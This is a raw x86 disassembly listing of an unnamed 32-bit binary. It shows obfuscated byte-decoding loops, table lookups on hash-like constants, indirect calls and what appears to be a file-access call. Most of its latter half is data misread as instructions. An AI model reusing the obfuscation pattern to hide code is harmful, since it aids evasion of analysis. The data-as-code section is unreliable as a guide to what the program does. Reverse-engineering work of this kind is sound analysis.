mov byte [esp + ecx + 0x7895a7a6], bl
inc ecx
dec edx
cmp ecx, 0x876a5888
jne 0x42c4a0
mov ecx, dword [0x44f26c]
test ecx, ecx
je 0x42c50a
mov edx, dword [esp + 0x28]
xor ebx, ebx
mov ebp, dword [0x44f270]
cmp dword [ebp + ebx*8], 0x1b6183f2
je 0x42c502
inc ebx
cmp ecx, ebx
jne 0x42c4f1
jmp 0x42c50a
mov ecx, dword [ebp + ebx*8 + 4]
cmp ecx, edx
jne 0x42c525
mov ebx, esi
jmp dword [0x44a3f8]
push dword [esp + 0xc]
call fcn.004083f0
add esp, 4
mov ebx, esi
jmp case.0x42b30d.97
push eax
push 4
push ecx
push dword [0x44f274]
call fcn.0043fac0
add esp, 0x10
mov ebx, esi
jmp dword [0x44a3f8]
mov ebx, dword [esp + 0x24]
lea eax, [ebx + ebx]
test ebx, ebx
jns 0x42c54f
mov eax, 0xffffffff
push eax
call fcn.004083e0
add esp, 4
mov edi, eax
push ebp
push ebx
push eax
push 0x1f
push esi
push 0
call dword [0x44f268]
jmp dword [0x44a318]
mov edi, dword [esp + 0x24]
lea eax, [edi + edi]
test edi, edi
jns 0x42c57e
mov eax, 0xffffffff
push eax
call fcn.004083e0
add esp, 4
push ebp
push edi
push eax
push 0x1f
push esi
push 0
call dword [0x44f268]
jmp case.0x42b30d.58
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44a320]
xor ebx, ebx
jmp dword [0x44a328]
push edi
call fcn.004083f0
add esp, 4
mov eax, ebx
add esp, 0xb8
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x18]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.00442370
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44a330]
jmp dword [0x44a338]
lea eax, [esp + 0x20]
push 0
push eax
push dword [esp + 0x20]
call fcn.004426f0
add esp, 0xc
nop
nop
nop
lea eax, [esp + 0x20]
push 0
push eax
push dword [esp + 0x20]
call fcn.004426f0
add esp, 0xc
jmp dword [0x44a344]
not eax
shr eax, 0x1f
xor ebp, ebp
jmp dword [eax*4 + 0x44a348]
mov esi, dword [esp + 0x20]
lea eax, [esi + 1]
push eax
call fcn.004083e0
add esp, 4
push 0
push esi
mov dword [esp + 0x7c], eax
push eax
push dword [esp + 0x24]
call fcn.004427d0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 0x10], 0
jmp dword [eax*4 + 0x44a350]
mov ebp, dword [esp + 0x10]
jmp dword [0x44a400]
push dword [esp + 0x74]
call fcn.004083f0
add esp, 4
mov eax, dword [esp + 0x18]
mov dword [esp + 0x28], 0xc0d0a0b
mov word [esp + 0x2c], 0
mov ecx, 0x876a5882
mov edx, 0x7d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x7895a7a6]
mov ebx, edx
xor ebx, ecx
and ebx, esi
xor ebx, ecx
add ebx, 0xdd1e7479
mov esi, ebx
and esi, 0x7d
xor ebx, 0xfd
lea ebx, [ebx + esi*2]
mov byte [esp + ecx + 0x7895a7a6], bl
inc ecx
dec edx
cmp ecx, 0x876a5888
jne 0x42c6a0
mov ecx, dword [0x44f26c]
test ecx, ecx
je 0x42c708
mov edx, dword [esp + 0x28]
xor esi, esi
mov ebx, dword [0x44f270]
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x1b6183f2
je 0x42c700
inc esi
cmp ecx, esi
jne 0x42c6f0
jmp 0x42c708
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
jne 0x42c72c
mov ebx, ebp
and bl, 1
jmp dword [0x44a408]
mov eax, dword [esp + 0x20]
mov ebx, dword [esp + 0x74]
mov byte [ebx + eax], 0
mov dword [esp + 0x10], 0
jmp case.0x42b30d.97
push eax
push 4
push ecx
push dword [0x44f274]
call fcn.0043fac0
add esp, 0x10
mov ebx, ebp
and bl, 1
jmp dword [0x44a408]
sahf
inc edx
add byte [ecx - 0x62], bl
inc edx
add byte [edi + ebx*4 + 0x42], bh
add byte [ebp + 0x4400429f], dl
mov al, byte [0x9fa50042]
inc edx
add byte [edx - 0x60], ch
mov al, byte [0xa0740042]
inc edx
mov al, byte [0xa0740042]
inc edx
add byte [0xa09d0042], al
inc edx
add ch, dh
movsb byte es:[edi], byte [esi]
inc edx
add ch, dl
mov al, byte [0xa2160042]
inc edx
add byte [edx], dh
mov eax, dword [0xa2160042]
inc edx
add ch, ah
mov eax, dword [0x10042]
add byte [eax], al
add dword [eax], eax
add byte [eax], al
in eax, 0xaf
inc edx
add byte [ecx], al
add byte [eax], al
add byte [eax], dl
mov byte [0xa2690042], al
inc edx
add byte [eax], dl
mov byte [0xa2100042], al
inc edx
add byte [esi], dl
mov byte [0xa2100042], al
inc edx
add byte [eax], ah
mov byte [0xa4f50042], al
inc edx
add bl, bh
movsb byte es:[edi], byte [esi]
inc edx
add byte [0xa5a50042], al
inc edx
add bh, cl
movsd dword es:[edi], dword [esi]
inc edx
add byte [ebx - 0x3fffbd5b], ch
movsd dword es:[edi], dword [esi]
inc edx
add bh, cl
movsd dword es:[edi], dword [esi]
inc edx
add al, al
movsd dword es:[edi], dword [esi]
inc edx
add ch, bl
movsd dword es:[edi], dword [esi]
inc edx
add byte [eax - 0x59], cl
inc edx
add byte [esi], dh
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [edi - 0x59], cl
inc edx
add byte [eax - 0x59], ah
inc edx
add byte [eax - 0x59], ah
inc edx
add byte [eax - 0x59], ah
inc edx
add byte [edx - 0x59], ah
inc edx
add byte [eax - 0x3bffbd59], ah
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax - 0x5fffbd59], ah
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax - 0x59ffbd59], ah
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [ecx + 0x620042a7], dh
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [esi], ah
test al, 0x42
add byte [ecx - 0x57], ch
inc edx
add byte [ebx - 0x55], bl
inc edx
add byte [edx + 0x2f0042a9], bl
stosd dword es:[edi], eax
inc edx
add cl, bl
test eax, 0xab0e0042
inc edx
add byte [esi], bh
stosb byte es:[edi], al
inc edx
add byte [esi], cl
stosd dword es:[edi], eax
inc edx
add dh, bl
stosb byte es:[edi], al
inc edx
add dh, bl
stosb byte es:[edi], al
inc edx
add dh, bl
stosb byte es:[edi], al
inc edx
add ah, ah
stosb byte es:[edi], al
inc edx
add dh, bl
stosb byte es:[edi], al
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add ch, ah
scasd eax, dword es:[edi]
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ebx], al
stosd dword es:[edi], eax
inc edx
add dl, bh
stosd dword es:[edi], eax
inc edx
add byte [ebx + ebp*4], cl
inc edx
add byte [ebx + ebp*4], cl
inc edx
add byte [esi], cl
stosd dword es:[edi], eax
inc edx
add byte [ebx + ebp*4], cl
inc edx
add bh, ah
stosd dword es:[edi], eax
inc edx
add byte [eax], ah
lodsb al, byte [esi]
inc edx
add byte [eax], dh
lodsd eax, dword [esi]
inc edx
add byte [esi - 0x54], dh
inc edx
add byte [eax - 0x54], ah
inc edx
add al, dl
lodsb al, byte [esi]
inc edx
add ah, cl
lodsd eax, dword [esi]
inc edx
add byte [eax - 0x53], dh
inc edx
add al, ah
lodsd eax, dword [esi]
inc edx
add al, ah
lodsd eax, dword [esi]
inc edx
add al, ah
lodsd eax, dword [esi]
inc edx
add dl, ah
lodsd eax, dword [esi]
inc edx
add byte [edx - 0x5fffbd53], dl
lodsd eax, dword [esi]
inc edx
add byte [eax - 0x4fffbd53], dh
lodsd eax, dword [esi]
inc edx
add byte [eax - 0x4dffbd53], dh
lodsd eax, dword [esi]
inc edx
add dl, ah
lodsd eax, dword [esi]
inc edx
add byte [ecx - 0xbffbd53], bh
lodsd eax, dword [esi]
inc edx
add byte [edx], al
scasb al, byte es:[edi]
inc edx
add byte [eax - 0x51], cl
inc edx
add byte [edx + 0x790042ae], dl
scasd eax, dword es:[edi]
inc edx
add byte [edx + 0x790042af], al
scasd eax, dword es:[edi]
inc edx
add byte [eax - 0x51], cl
inc edx
add byte [esi - 0x51], dl
inc edx
add bh, ah
stosd dword es:[edi], eax
inc edx
add byte [ebx + ebp*4], dl
inc edx
add byte [edi], ch
stosd dword es:[edi], eax
inc edx
add byte [eax - 0x55], al
inc edx
add byte [eax - 0x55], al
inc edx
add byte [edx - 0x55], al
inc edx
add byte [eax - 0x55], al
inc edx
add byte [ebx + ebp*4 + 0x42], cl
add byte [ebx - 0x55], bl
inc edx
add byte [edx], dh
test al, 0x42
add byte [edi + ebp*4 - 0x5043ffbe], ch
inc edx
add byte [esi - 0x58], cl
inc edx
add ah, bh
test al, 0x42
add byte [ecx], cl
test eax, 0xb0ee0042
inc edx
add byte [edi - 0x42], ah
inc edx
add byte [ecx], al
mov esi, 0xbe300042
inc edx
add byte [ecx - 0x42], bl
inc edx
add byte [eax], dh
mov esi, 0xbdf90042
inc edx
add dl, bh
mov al, 0x42
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add cl, bh
mov ebp, 0xb0f40042
inc edx
add byte [edi - 0x42], ah
inc edx
add byte [edx - 0x42], dh
inc edx
add byte [ebx - 0x42], bh
inc edx
add byte [edx - 0x42], dh
inc edx
add byte [edi - 0x42], ah
inc edx
add byte [ebx + esi*4], dl
mov bl, 0x42
mov bl, 0x42
add byte [esi - 0x4d], dl
inc edx
add byte [edx], bl
mov bl, 0x42
add byte [edx], dh
mov bl, 0x42
add bh, bl
mov ah, 0x42
add al, dh
mov ah, 0x42
add byte [eax], dl
mov ch, 0x42
add dh, dh
mov ah, 0x42
add byte [eax], dl
mov ch, 0x42
add byte [ecx], ch
mov ch, 0x42
add byte [esi - 0x47], bh
inc edx
add byte [edi], dh
mov ch, 0x42
add byte [edi - 0x47], ch
inc edx
add byte [edi - 0x4b], ah
inc edx
add byte [edi - 0x47], ch
inc edx
add byte [eax + 0x330042b5], cl
mov ecx, 0xb82a0042
inc edx
add byte [0x140042b9], al
mov ecx, 0xbdda0042
inc edx
add cl, al
mov ebp, 0xb9330042
inc edx
add cl, al
mov ebp, 0x10042
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
xor edi, dword [ecx - 0x46c6ffbe]
inc edx
add byte [ebx - 0x47], cl
inc edx
add byte [ecx - 0x47], dl
inc edx
add byte [eax - 0x47], ah
inc edx
add byte [edi - 0x47], ch
inc edx
add byte [eax - 0x47], ah
inc edx
add byte [ebp - 0x47], dh
inc edx
add byte [esi - 0x47], bh
inc edx
add byte [esi], bl
mov edx, 0xba3f0042
inc edx
add byte [edx + edi*4], ah
inc edx
add byte [eax], dh
mov edx, 0xba300042
inc edx
add byte [edi], bh
mov edx, 0xb3400042
inc edx
add byte [ecx - 0x46], cl
inc edx
add byte [eax], ah
mov ecx, 0xbd780042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x43], bh
inc edx
add byte [edx + 0x400042bd], al
mov bl, 0x42
add byte [eax], dh
mov bl, 0x42
add byte [eax], dh
mov bl, 0x42
add byte [edx], dh
mov bl, 0x42
add byte [eax], dh
mov bl, 0x42
add byte [esi], ah
rol byte [edx], 0xb4
lds eax, [edx]
outsb dx, byte [esi]
lds eax, [edx]
aas
lds eax, [edx]
xchg edi, eax
lds eax, [edx]
outsb dx, byte [esi]
lds eax, [edx]
mov dword [0xc10042c5], eax
lds eax, [edx]
stosd dword es:[edi], eax
lds eax, [edx]
mov ah, 0xc5
inc edx
add byte [eax + eax*8], dh
inc edx
add ah, ah
lds eax, [edx]
add dh, al
inc edx
add dl, ch
lds eax, [edx]
add dh, al
inc edx
add byte [ecx], bl
mov byte [edx], 0x75
mov byte [edx], 0x27
mov byte [edx], 0x5f
mov byte [edx], 0x13
mov dword [edx], case.0x42b30d.75
pop edi
mov byte [edx], 22
rol dword [edx], 0x16
rol dword [edx], 0x16
rol dword [edx], 0x48
rol dword [edx], 0x5b
rol dword [edx], 0xb0
rol dword [edx], 0x6b
rol dword [edx], 0xb0
rol dword [edx], 0x7b
rol dword [edx], 0xb0
rol dword [edx], 1
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx - 0x3f], bh
inc edx
add byte [ebx - 0x4fffbd3f], cl
rol dword [edx], 0x9b
rol dword [edx], 0xb0
rol dword [edx], 0xc0
rol dword [edx], 0xc0
rol dword [edx], 0x40
rol byte [edx], 0xc0
rol dword [edx], 0xf
ret 0x42